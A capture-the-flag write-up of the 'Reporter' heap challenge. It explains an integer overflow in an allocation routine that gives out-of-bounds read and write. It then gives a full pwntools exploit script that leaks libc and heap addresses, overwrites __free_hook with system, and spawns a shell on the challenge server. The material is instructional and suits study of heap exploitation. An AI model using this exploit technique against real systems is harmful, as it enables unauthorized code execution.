Reporter
In Grey Cat The Flag Final 2022, 919 points
Integer overflow results in OOB heap array access
Challenge files: ld.so libc.so.6 Makefile reporter.c
Introduction and analysis
This C program allows the user to manage an array of reports. The user can read and edit reports, as well as increase the size of the reports array, but they cannot reduce the number of reports.
Reports are stored in the Report
struct:
typedef struct Report {
char content[CONTENT_SZ];
char by[BY_SZ];
} Report;
The number of reports is stored in an unsigned long len
. Bounds checking appears to have been done correctly for all functions.
Note:
typedef unsigned long long num;
Vulnerability
The vulnerability originates in the alloc
method (reproduced here):
void alloc() {
printf("How many reports? ");
num nlen = read_num();
if (nlen <= len) {
return;
}
num alloc_size = nlen * sizeof(Report); // overflow here
if (alloc_size > 0x1000) {
printf("allocation too big!");
exit(-1);
}
Report* new_reports = (Report*)malloc(alloc_size);
memset(new_reports, 0, nlen * sizeof(Report));
if (reports) {
memcpy(new_reports, reports, len * sizeof(Report));
free(reports);
}
reports = new_reports;
len = nlen;
}
When a sufficiently large nlen
is used, an integer overflow occurs when nlen
is multiplied by sizeof(Report)
(56). This results in alloc_size
being a much smaller value than the memory required to store nlen
reports. However, len
is still set to nlen
, thus allowing an attacker to access memory beyond the bounds of the allocated memory.
Exploitation
As usual, we will target overwriting __free_hook
with system
, which will give us a shell when we free("/bin/sh")
.
Once we know the address of __free_hook
and the starting address of the allocated reports
array, writing to __free_hook
is quite easy as we have effectively unlimited OOB read/write from reports
.
The bulk of the exploit will consist of obtaining a libc and heap leak, while trying not to mess up the heap too much.
First, we will gradually increase the size of the reports
array. This will result in a sizeable amount of memory being allocated and freed on the heap. Some of these freed chunks will be tracked in unsorted bin if they are large enough. Then, using the integer overflow bug, we trick the program into allocating one of the previously freed chunks, near the start of the heap. As len
is much larger than the size of memory allocated, we can use OOB read to leak the libc pointers in the unsorted bins and the heap pointers in other freed chunks.
However, alloc
copies the contents of the old reports
array to the newly allocated array. As the memory allocated for the new array is less than the old one (due to the integer overflow), the contents immediately after the new array will be overwritten. This is problematic as the pointers we want to leak are after this array. We can overcome this by allocating enough smaller chunks such that the total size of these smaller chunks is significantly greater than the size of the reports array just before the integer overflow. Thus, when the old reports array is copied, the contents of these smaller chunks will be overwritten, while preserving the pointers in the larger chunks.
The exact numbers for the integer overflow and number of chunks to allocate can be obtained with a bit of math/trial and error.
Solve script
from pwn import *
e = ELF("reporter.o")
libc = ELF("libc.so.6", checksec=False)
ld = ELF("ld.so", checksec=False)
context.binary = e
context.terminal = ['tmux', 'splitw', '-h']
def setup():
p = remote("34.142.228.44", 13034)
return p
def add(p, sz):
p.recvuntil("Opt")
p.sendline("1")
p.recvuntil("How many reports? ")
p.sendline(str(sz))
def leak(p, x):
p.recvuntil("Opt")
p.sendline("2")
p.recvuntil("Enter Index: ")
p.sendline(str(x))
p.recvline()
x = p.recvline()
print(x)
return u64(x[1:7]+b"\0\0")
if __name__ == '__main__':
p = setup()
p.sendline("0")
# Add smaller chunks to heap to buffer against overwriting later
for i in range(25):
add(p, i)
add(p, 25)
add(p, 26)
add(p, 27)
add(p, 28)
# Integer overflow, gets allocated a smaller chunk than is necessary
add(p, 988218432520154553)
# Libc leak
l1 = leak(p, 202)
# Heap leak
l2 = leak(p, 107)
self_addr = l2 + 0x2d0
libc.address = l1 -0x1ecbe0
print(hex(self_addr), hex(libc.address))
# Diff can vary as heap and libc are in completely different sections
diff = libc.sym.__free_hook - self_addr
print(hex(diff), diff%56,diff//56)
print(hex(libc.sym.__free_hook ))
# Add /bin/sh to start of chunk
p.recvuntil("Opt")
p.sendline("3")
p.recvuntil("Enter Index: ")
p.sendline("0")
p.recvuntil("By:")
p.sendline("/bin/sh\0")
p.recvuntil("Content:")
p.sendline("/bin/sh\0")
# OOB write to __free_hook
p.recvuntil("Opt")
p.sendline("3")
p.recvuntil("Enter Index: ")
p.sendline(str(diff//56))
p.recvuntil("By:")
p.sendline("aaa")
p.recvuntil("Content:")
# A bit of extra padding as it does not always line up perfectly
p.sendline(b"a"*(diff%56)+p64(libc.sym.system))
# Trigger freeing of previous chunk, which starts with /bin/sh
add(p, 988218432520154558)
p.interactive()